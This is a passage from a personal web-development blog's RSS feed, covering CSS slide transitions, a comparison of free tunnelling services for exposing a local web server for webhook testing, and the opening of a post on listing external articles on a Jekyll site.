&lt;p&gt;Some people handle z-indexes differently, using denominations of 10 or 100, but honestly, between 2 elements, whoever has the higher integer value wins, regardless whether it&apos;s by 1 or 1000.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Look, ma… No scrollbar!&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/hs-absolute.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/hs-absolute.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;h2&gt;Sprinkle on some animation&lt;/h2&gt;
&lt;p&gt;To add some semblance of professionalism to this endeavour (who am I kidding?), I think some slide transitions are in order. CSS also offers a lovely suite of animation options for this. You can rotate, zoom, slide in and out, all with CSS transforms.&lt;/p&gt;
&lt;p&gt;If you looked at Ondřej&apos;s slides, he used a rotate effect, so let&apos;s try that out. There are 3 position states for this, &lt;em&gt;before entering in viewport&lt;/em&gt;, &lt;em&gt;active in the viewport&lt;/em&gt;, and &lt;em&gt;left the viewport&lt;/em&gt;.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;In &apos;n out&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/html-slides/rotate.svg&quot; style=&quot;max-height:30em&quot; alt=&quot;Stacking the sections&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;The default &lt;code&gt;transform-origin&lt;/code&gt; is &lt;code&gt;50% 50%&lt;/code&gt;, which means the element will rotate around its centre. To have a corner rotate like the one in the diagram, set the value to &lt;code&gt;0 0&lt;/code&gt;. All slides start out rotated 90 degrees clockwise out of the viewport, while slides leaving will be rotated 90 degrees anti-clockwise up and out.&lt;/p&gt;
&lt;p&gt;We can make use of the sibling selector to target slides that come after the active slide, and add in some transition values to make the animation appear smoother:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;section {
  height: 100vh;
  width: 100%;
  position: absolute;
  z-index: 0;
  transform: rotate(90deg);
  transform-origin: 0 0;
  transition: transform 1s, opacity 0.8s;
}

section:target {
  transform: rotate(0deg);
  z-index: 1;
}

section:target ~ section {
  opacity: 0;
  transform: rotate(-90deg);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the slide is rotated out of the viewport, it somehow triggers the scrollbar. I have not figured out the exact reason for this though I do know the solution is to add an &lt;code&gt;overflow: hidden&lt;/code&gt; to the &lt;code&gt;body&lt;/code&gt; element. I should research this some more, because this doesn&apos;t happen when I use translate.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;One more thing to take note of is that when your slides first load, there will not be any URL fragment triggered, meaning none of your slides will be active. To workaround this issue, add a link to the first slide which will show up on first load, making sure it is also a positioned element.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Press start to begin&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/hs-final.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/hs-final.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;Feel free to try out other CSS transforms for more slide transitions if rotate doesn&apos;t suit your style. But if your slide requirements are reasonably simple, why not try something like this? You can even toss it onto some free static site hosts and have it accessible wherever you go. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with sunglasses&quot;&gt;😎&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;For a live implementation of this, check out &lt;a href=&quot;https://singaporecss.github.io/talk.css&quot;&gt;the slides&lt;/a&gt; used for introducing Talk.CSS&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Tunnelling services for exposing localhost to the web</title><link>https://chenhuijing.com/blog/tunnelling-services-for-exposing-localhost-to-the-web/</link><guid isPermaLink="true">https://chenhuijing.com/blog/tunnelling-services-for-exposing-localhost-to-the-web/</guid><description>My past experience with exposing a project running on my local machine to a public URL was mostly to invoke the “phone-a-friend” option when I was…</description><pubDate>Tue, 05 Feb 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;My past experience with exposing a project running on my local machine to a public URL was mostly to invoke the “phone-a-friend” option when I was troubleshooting stuff and needed help. In case you didn&apos;t know, I used to build websites for a living. I still do that now, it&apos;s just not the day job any more.&lt;/p&gt;
&lt;p&gt;Another use-case was testing on &lt;a href=&quot;https://www.opera.com/mobile/mini&quot;&gt;Opera Mini&lt;/a&gt;. &lt;a href=&quot;https://www.browsersync.io/&quot;&gt;Browsersync&lt;/a&gt; is a key part of my web development process, especially when doing cross-browser testing. Unfortunately, it doesn&apos;t run on Opera Mini, so using a public URL service was a viable workaround.&lt;/p&gt;
&lt;p&gt;Developing with API platforms like &lt;a href=&quot;https://www.nexmo.com/&quot;&gt;Nexmo&lt;/a&gt; often means dealing with &lt;a href=&quot;https://web.archive.org/web/20180630220036/http://progrium.com:80/blog/2007/05/03/web-hooks-to-revolutionize-the-web/&quot;&gt;webhooks&lt;/a&gt;. Webhooks are used by lots of applications, like &lt;a href=&quot;https://developer.github.com/webhooks/&quot;&gt;Github&lt;/a&gt;, &lt;a href=&quot;https://www.dropbox.com/developers/reference/webhooks&quot;&gt;Dropbox&lt;/a&gt;, &lt;a href=&quot;https://devcenter.heroku.com/articles/app-webhooks&quot;&gt;Heroku&lt;/a&gt; and so on, and make it convenient for developers to integrate their own applications with these services. In a nutshell, they allow one application to inform another when something happens. To quote &lt;a href=&quot;https://twitter.com/progrium&quot;&gt;Jeff Lindsay&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Web hooks are essentially user defined callbacks made with HTTP POST. To support web hooks, you allow the user to specify a URL where your application will post to and on what events.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This means the application you&apos;re building should have a route set up to handle incoming POST requests to the webhook URL. Here&apos;s my crude attempt at illustrating how the &lt;a href=&quot;https://developer.nexmo.com/messages/overview&quot;&gt;Nexmo&apos;s Messages API&lt;/a&gt; deals with inbound SMS to your application:&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;How an SMS goes through Nexmo to your application&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/public-url/webhook-480.jpg 480w, /images/posts/public-url/webhook-640.jpg 640w, /images/posts/public-url/webhook-960.jpg 960w, /images/posts/public-url/webhook-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/public-url/webhook-640.jpg&quot; alt=&quot;Simplified diagram of how Messages API works, sort of&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;In order for Nexmo (or whichever service you&apos;re trying to integrate) to make a successful HTTP request to your application, it has to be publicly accessible over the web. Most of the time, we access the internet through private IP networks by connecting to a nearby router.&lt;/p&gt;
&lt;p&gt;Routers, for security purposes, generally don&apos;t allow communication from devices outside the network without additional configuration. And you&apos;d probably need a static IP address from your internet service provider as well.&lt;/p&gt;
&lt;p&gt;If you happen to have some publicly accessible servers on hand, could be an &lt;a href=&quot;https://aws.amazon.com/&quot;&gt;AWS instance&lt;/a&gt;, &lt;a href=&quot;https://www.digitalocean.com/&quot;&gt;DigitalOcean droplet&lt;/a&gt;, box under your desk, you could also try port forwarding using &lt;a href=&quot;https://www.openssh.com/&quot;&gt;OpenSSH&lt;/a&gt;. &lt;a href=&quot;https://medium.com/@michelblancard&quot;&gt;Michael Blancard&lt;/a&gt; wrote a &lt;a href=&quot;https://medium.com/botfuel/how-to-expose-a-local-development-server-to-the-internet-c31532d741cc&quot;&gt;comprehensive blog post&lt;/a&gt; on how to set that up.&lt;/p&gt;
&lt;p&gt;But if configuring servers really isn&apos;t your thing, it&apos;s probably time to consider some tunnelling services.&lt;/p&gt;
&lt;h2&gt;Tunnelling services&lt;/h2&gt;
&lt;p&gt;According to &lt;a href=&quot;https://en.wikipedia.org/wiki/Tunneling_protocol&quot;&gt;Wikipedia&lt;/a&gt;, a tunnelling protocol is a communications protocol that allows for the movement of data from one network to another. It involves allowing private network communications to be sent across a public network, such as the Internet, through a process called encapsulation.&lt;/p&gt;
&lt;p&gt;For a detailed explanation of how tunnelling services work, I suggest this &lt;a href=&quot;https://stackoverflow.com/a/52614266&quot;&gt;Stack Overflow answer&lt;/a&gt; by &lt;a href=&quot;https://coolaj86.com/&quot;&gt;AJ ONeal&lt;/a&gt;. Exposing your local web server to the world via reverse proxy does have security implications, so if you&apos;re doing this on your corporate network, it&apos;s a good idea to inform your network/IT administrator beforehand.&lt;/p&gt;
&lt;p&gt;You can always take precautionary measures like enforcing HTTPS, or using password protection, so perhaps this might factor into your choice of service, though as you&apos;ll see, reverse proxy is not the only implementation available.&lt;/p&gt;
&lt;h2&gt;Free options&lt;/h2&gt;
&lt;h3&gt;ngrok&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://ngrok.com/&quot;&gt;ngrok&lt;/a&gt; is probably the go-to solution for this. Either that, or their SEO is on point. If you google “public localhost”, it comes out tops. Technically, it isn&apos;t free, more like freemium, but the free tier costs zero dollars and is sufficient for most development purposes.&lt;/p&gt;
&lt;p&gt;Let&apos;s also answer the question of how to pronounce “ngrok” from the founder himself:&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;&lt;a href=&quot;https://twitter.com/Noamshemesh?ref_src=twsrc%5Etfw&quot;&gt;@Noamshemesh&lt;/a&gt; I pronounce it en-grok&lt;/p&gt;&amp;mdash; Alan Shreve (@inconshreveable) &lt;a href=&quot;https://twitter.com/inconshreveable/status/443881256107769856?ref_src=twsrc%5Etfw&quot;&gt;March 12, 2014&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;You&apos;ll be asked to sign up for an account to get an authtoken for access to a bunch of nifty features. ngrok has a pretty good &lt;a href=&quot;https://dashboard.ngrok.com/get-started&quot;&gt;on-boarding documentation&lt;/a&gt; which covers most of the common questions and tasks you may want to achieve. There are installers for Windows, Mac and several Linux flavours.&lt;/p&gt;
&lt;p&gt;For Unix-based systems like Mac/Linux, you can move the binary to a location on your &lt;code&gt;$PATH&lt;/code&gt; so you can use the &lt;code&gt;ngrok&lt;/code&gt; command anywhere, or add an &lt;a href=&quot;https://shapeshed.com/unix-alias/&quot;&gt;alias&lt;/a&gt; to the binary for easier access.&lt;/p&gt;
&lt;p&gt;Windows has a system PATH as well, though it&apos;s a tad more complicated to add things to it. Thankfully, &lt;a href=&quot;https://www.howtogeek.com/118594/how-to-edit-your-system-path-for-easy-command-line-access/&quot;&gt;comprehensive instructions for this&lt;/a&gt; exists on the interwebs. To find out more about &lt;code&gt;$PATH&lt;/code&gt;, this &lt;a href=&quot;https://alistapart.com/article/the-path-to-enlightenment&quot;&gt;A List Apart article&lt;/a&gt; can help.&lt;/p&gt;
&lt;p&gt;The authtoken is generated for your account automatically, so just copy the command in step 3, modify it depending on how &lt;code&gt;ngrok&lt;/code&gt; is accessed via your command line and you should be good to go. Make sure your local web server is running, and take note of which port you&apos;re using.&lt;/p&gt;
&lt;p&gt;For example, if your application is running on port 3000, then use the following to start a HTTP tunnel:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ngrok http 3000
&lt;/code&gt;&lt;/pre&gt;
&lt;img srcset=&quot;/images/posts/public-url/ngrok2-480.png 480w, /images/posts/public-url/ngrok2-640.png 640w, /images/posts/public-url/ngrok2-960.png 960w, /images/posts/public-url/ngrok2-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/public-url/ngrok2-640.png&quot; alt=&quot;Starting ngrok&quot;&gt;
&lt;figure&gt;
    &lt;figcaption&gt;If all goes well, your local web server will be accessible publicly&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/public-url/ngrok-480.jpg 480w, /images/posts/public-url/ngrok-640.jpg 640w, /images/posts/public-url/ngrok-960.jpg 960w, /images/posts/public-url/ngrok-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/public-url/ngrok-640.jpg&quot; alt=&quot;ngrok gives you a unique URL to access over the web&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;And if you log into your ngrok account, you can see the list of HTTP tunnels you have online at the moment.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;For you to keep track of your HTTP tunnels&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/public-url/ngrok-dash-480.jpg 480w, /images/posts/public-url/ngrok-dash-640.jpg 640w, /images/posts/public-url/ngrok-dash-960.jpg 960w, /images/posts/public-url/ngrok-dash-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/public-url/ngrok-dash-640.jpg&quot; alt=&quot;ngrok dashboard&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Another useful feature ngrok provides is a way to inspect all requests your public URL received. If you look at the list of information logged in your console when you first run ngrok, you&apos;ll see a URL for &lt;em&gt;Web Interface&lt;/em&gt;, by default it is &lt;code&gt;http://127.0.0.1:4040&lt;/code&gt;.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;For you to keep track of your HTTP tunnels&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/public-url/ngrok-dash-480.jpg 480w, /images/posts/public-url/ngrok-dash-640.jpg 640w, /images/posts/public-url/ngrok-dash-960.jpg 960w, /images/posts/public-url/ngrok-dash-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/public-url/ngrok-dash-640.jpg&quot; alt=&quot;ngrok dashboard&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;You can also replay a particular request. So if triggering a particular request in your application requires a series of steps, you can skip all that and just resend the request to your local server using ngrok.&lt;/p&gt;
&lt;p&gt;ngrok is very feature-ful, so it&apos;s a good idea to poke around the &lt;a href=&quot;https://ngrok.com/docs&quot;&gt;documentation&lt;/a&gt; to see what&apos;s possible. ngrok&apos;s paid features include use of custom/reserved domains (instead of having a random string every time you run it), reserving of TCP addresses and IP whitelisting, among others.&lt;/p&gt;
&lt;h3&gt;&lt;s&gt;Serveo&lt;/s&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Update (24 Jul 2020): seems like they have gone offline&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Serveo (used to be at &lt;a href=&quot;https://serveo.net/&quot;&gt;https://serveo.net/&lt;/a&gt;) is an alternative to ngrok. It even says so on its website. A key difference is there is no installation required. Serveo forwards all traffic that hits the unique URL it provides you to your localhost server via SSH.&lt;/p&gt;
&lt;p&gt;To get that public URL (adjust your port number and hostname accordingly), run the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ssh -R 80:localhost:3000 serveo.net
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You will get a message about the RSA key fingerprint of the server asking if you&apos;d like to continue connecting. Say yes and the server will be added to your list of known hosts.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/public-url/serveo-480.png 480w, /images/posts/public-url/serveo-640.png 640w, /images/posts/public-url/serveo-960.png 960w, /images/posts/public-url/serveo-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/public-url/serveo-640.png&quot; alt=&quot;Serveo RSA key fingerprint&quot;&gt;
&lt;p&gt;You&apos;ll notice that there is an option to trigger a GUI. It&apos;s not really a graphical user-interface as how we&apos;d expect because this interface still runs on the command line, but there is the option to replay requests and inspect details of the request, just like ngrok.&lt;/p&gt;
&lt;img src=&quot;/images/posts/public-url/serveo-gui.png&quot; srcset=&quot;/images/posts/public-url/serveo-gui@2x.png 2x&quot; alt=&quot;Serveo GUI commands&quot;&gt;
&lt;img srcset=&quot;/images/posts/public-url/serveo-ui-480.png 480w, /images/posts/public-url/serveo-ui-640.png 640w, /images/posts/public-url/serveo-ui-960.png 960w, /images/posts/public-url/serveo-ui-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/public-url/serveo-ui-640.png&quot; alt=&quot;Serveo interface&quot;&gt;
&lt;p&gt;It also preserves the allocated URL for free, so that might be something that&apos;s appealing to some of you.&lt;/p&gt;
&lt;h3&gt;Localtunnel&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://localtunnel.github.io/www/&quot;&gt;Localtunnel&lt;/a&gt; is an open-source project that does exactly the same thing as the previous 2 services. You&apos;ll need to have Node.js installed on your machine so you can install it via npm.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install -g localtunnel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After which you will have access to the &lt;code&gt;lt&lt;/code&gt; command and you can start your HTTP tunnel with the following (again, modify according to which port your application is running off):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;lt --port 3000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You will get a publicly accessible URL and for the most part, that would be enough for you to set up an integration with a service that supports webhooks.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/public-url/lt-480.png 480w, /images/posts/public-url/lt-640.png 640w, /images/posts/public-url/lt-960.png 960w, /images/posts/public-url/lt-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/public-url/lt-640.png&quot; alt=&quot;Localtunnel HTTP tunnel&quot;&gt;
&lt;p&gt;What&apos;s interesting about Localtunnel is that there is also &lt;a href=&quot;https://github.com/localtunnel/server&quot;&gt;a repository&lt;/a&gt; you can clone to set up your own localtunnel server, and hence use your own custom domain. This approach requires you have control of a server where you can set up DNS entries, as well as handle incoming TCP connections for any non-root TCP port.&lt;/p&gt;
&lt;h3&gt;localhost.run&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;http://localhost.run/&quot;&gt;localhost.run&lt;/a&gt; is very similar to &lt;a href=&quot;#serveo&quot;&gt;Serveo&lt;/a&gt; but with less features. In fact, as far as I can tell, it only does 1 thing: expose your local web server to the web with a public URL. And it does that well enough for me.&lt;/p&gt;
&lt;p&gt;You&apos;ll need to run the following (again, modify port number to suit your set up):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ssh -R 80:localhost:3000 ssh.localhost.run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There will be a message with the RSA key fingerprint of the localhost.run tunnel server when you connect for the first time, and you&apos;ll need to agree to continue with the connection.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/public-url/localhostrun-480.png 480w, /images/posts/public-url/localhostrun-640.png 640w, /images/posts/public-url/localhostrun-960.png 960w, /images/posts/public-url/localhostrun-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/public-url/localhostrun-640.png&quot; alt=&quot;localhost.run HTTP tunnel&quot;&gt;
&lt;h3&gt;Telebit&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://telebit.cloud/&quot;&gt;Telebit&lt;/a&gt; is pretty interesting to me for a number of reasons. In addition to doing port forwarding, you can also share files over Telebit, configure it like a VPN, and the man behind the project, &lt;a href=&quot;https://coolaj86.com/&quot;&gt;AJ ONeal&lt;/a&gt;, hosts it on his own git server (built on &lt;a href=&quot;https://gitea.io/en-us/&quot;&gt;Gitea&lt;/a&gt;, a community fork of &lt;a href=&quot;https://gogs.io/&quot;&gt;Gogs&lt;/a&gt;). And that&apos;s kinda cool to me.&lt;/p&gt;
&lt;p&gt;Because of the number of features it offers, the installer does a number of things, which are all listed on the &lt;a href=&quot;https://git.coolaj86.com/coolaj86/telebit.js&quot;&gt;documentation page&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;install Telebit Remote to &lt;em&gt;~/Applications/telebit/&lt;/em&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;symlink the executable to &lt;em&gt;~/telebit&lt;/em&gt; for convenience&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;create the appropriate system launcher file
    &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;em&gt;/etc/systemd/system/telebit.service&lt;/em&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;em&gt;~/Library/LaunchAgents/cloud.telebit.remote.plist&lt;/em&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;create local user config
    &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;em&gt;~/.config/telebit/telebit.yml&lt;/em&gt;&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;~/.local/share/telebit&lt;/em&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I ran into some permissions issues but could still run the executable so not too sure what happened there. When you run the &lt;code&gt;telebit&lt;/code&gt; command for the first time, you&apos;ll be asked to register with your email address.&lt;/p&gt;
&lt;img src=&quot;/images/posts/public-url/telebit.png&quot; srcset=&quot;/images/posts/public-url/telebit@2x.png 2x&quot; alt=&quot;Running telebit&quot;/&gt;
&lt;p&gt;I got stuck after this because I never received the email, so this is sort of an incomplete run through of Telebit. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Paid options&lt;/h2&gt;
&lt;p&gt;There are also a number of paid options, like &lt;a href=&quot;https://pagekite.net/&quot;&gt;pagekite&lt;/a&gt;, &lt;a href=&quot;https://web.archive.org/web/20191003171231/https://forwardhq.com/&quot;&gt;Forward&lt;/a&gt; and &lt;a href=&quot;https://burrow.io/&quot;&gt;Burrow.io&lt;/a&gt;. I did not try them out, because for me, the free options more than cover my needs. But I&apos;m putting them up here anyway just in case they cover some of your use cases.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I did not realise there were that many options for exposing your localhost to the web, but there you go. I suggest taking the time to check each of them out (at least visit their websites) and see which one fits your needs.&lt;/p&gt;
&lt;h2&gt;Extra reading&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://web.archive.org/web/20180630220036/http://progrium.com:80/blog/2007/05/03/web-hooks-to-revolutionize-the-web/&quot;&gt;Web hooks to revolutionize the web&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://medium.com/botfuel/how-to-expose-a-local-development-server-to-the-internet-c31532d741cc&quot;&gt;How to expose a local development server to the Internet&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://alistapart.com/article/the-path-to-enlightenment&quot;&gt;The $PATH to Enlightenment&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.howtogeek.com/118594/how-to-edit-your-system-path-for-easy-command-line-access/&quot;&gt;How to Edit Your System PATH for Easy Command Line Access in Windows&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.nexmo.com/blog/2017/07/04/local-development-nexmo-ngrok-tunnel-dr/&quot;&gt;Connect your local development server to the Nexmo API using an ngrok tunnel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://medium.com/@g33xter/phishing-with-ngrok-252309890b87&quot;&gt;Phishing with Ngrok&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Handling external posts on your own Jekyll site</title><link>https://chenhuijing.com/blog/handling-articles-on-external-sites/</link><guid isPermaLink="true">https://chenhuijing.com/blog/handling-articles-on-external-sites/</guid><description>I write a lot of stuff on my own blog, and occasionally I will contribute to some external publications. But I do like to have a list of all my writing in one…</description><pubDate>Tue, 29 Jan 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I write a lot of stuff on my own blog, and occasionally I will contribute to some external publications. But I do like to have a list of all my writing in one place. My website is built using &lt;a href=&quot;https://jekyllrb.com/&quot;&gt;Jekyll&lt;/a&gt; and has been for a while now.&lt;/p&gt;
&lt;p&gt;Using a static site generator does require some level of effort to set up the relevant templates correctly to ensure your site ends up how you expect. Jekyll uses the &lt;a href=&quot;https://shopify.github.io/liquid/&quot;&gt;Liquid templating language&lt;/a&gt; and your content can be written in Markdown or spruced up with HTML and CSS.&lt;/p&gt;
&lt;p&gt;Most publications expect contributors to give the publication exclusivity of the article for a certain amount of time before republishing because traffic is paramount to these publications&apos; ability to earn money. It is important to respect this requirement, especially if the publication is paying you for the article.&lt;/p&gt;
&lt;p&gt;Due to a lack of conscientiousness on my part, I found that I had violated this requirement when I tried to include external posts in my list of writings on my own site &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;pensive face&quot;&gt;😔&lt;/span&gt;. So I&apos;d like to share the steps I took to rectify the mistake and maybe it&apos;ll be helpful to people who want to do something similar.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Set additional custom variables on Front Matter of external post, which will be used in the subsequent points:&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;external_url: https://PATH_TO_THE_CANONICAL_VERSION
external_site: PUB_NAME
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Make sure canonical link in &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; points to original source:&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;{% raw %}{% if page.external_url %}
&amp;lt;link rel=&amp;quot;canonical&amp;quot; href=&amp;quot;{{ page.external_url }}&amp;quot; /&amp;gt;
{% else %}
&amp;lt;link
  rel=&amp;quot;canonical&amp;quot;
  href=&amp;quot;{{ page.url | replace:&apos;index.html&apos;,&apos;&apos; | prepend: site.baseurl | prepend: site.url }}&amp;quot;
/&amp;gt;
&amp;lt;link rel=&amp;quot;alternate&amp;quot; type=&amp;quot;application/atom+xml&amp;quot; title=&amp;quot;{{ site.title }}&amp;quot; href=&amp;quot;{{ &amp;quot;/feed.xml&amp;quot; |
prepend: site.baseurl | prepend: site.url }}&amp;quot;&amp;gt; {% endif %}{% endraw %}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Replace all links to internal post URL with original source URL. For listings, you can add a conditional:&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;{% raw %}{% if post.external_url %}
&amp;lt;a href=&amp;quot;{{ post.external_url }}&amp;quot;&amp;gt;{{ post.title }}&amp;lt;/a&amp;gt;
{% else %}
&amp;lt;a href=&amp;quot;{{ post.url }}&amp;quot;&amp;gt;{{ post.title }}&amp;lt;/a&amp;gt;
{% endif %}{% endraw %}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Include visual cues to indicate that links to the article redirect to the original source&lt;/li&gt;
&lt;li&gt;Remove external posts from RSS feed, if applicable. The following example requires posts to be excluded have an additional custom variable in the Front Matter:&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;nofeed: true
&lt;/code&gt;&lt;/pre&gt;
It is possible to use some other existing custom variable that is unique to external posts as the conditional as well. Add conditional to &lt;code&gt;feed.xml&lt;/code&gt; as follows:&lt;pre&gt;&lt;code class=&quot;language-xml&quot;&gt;{% raw %}{% for post in site.posts limit:15 %}
  {% unless post.nofeed %}
  &amp;lt;item&amp;gt;
    &amp;lt;title&amp;gt;{{ post.title | xml_escape }}&amp;lt;/title&amp;gt;
    &amp;lt;description&amp;gt;{{ post.content | xml_escape | truncatewords:120}}&amp;lt;/description&amp;gt;
    &amp;lt;pubDate&amp;gt;{{ post.date | date_to_rfc822 }}&amp;lt;/pubDate&amp;gt;
    &amp;lt;link&amp;gt;{{ post.url }}&amp;lt;/link&amp;gt;
    &amp;lt;guid isPermaLink=&amp;quot;true&amp;quot;&amp;gt;{{ post.url }}&amp;lt;/guid&amp;gt;
  &amp;lt;/item&amp;gt;
  {% endunless %}
{% endfor %}{% endraw %}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;To make things clear, add a note where the article was originally published, if you include post content as a truncated summary on listings.&lt;/li&gt;
&lt;li&gt;Consider adding a &lt;code&gt;noindex&lt;/code&gt; to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of external posts, if you don&apos;t want the internal post URL to end up on search engines at all, but this is a bit of an overkill because as long as the canonical URL is set, this shouldn&apos;t affect the SEO of the original content. I think.&lt;/li&gt;
&lt;li&gt;Use a random string as the source filename to minimise the odds people will manually type the internal URL, also part of the overkill suite.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Jekyll posts&lt;/h2&gt;
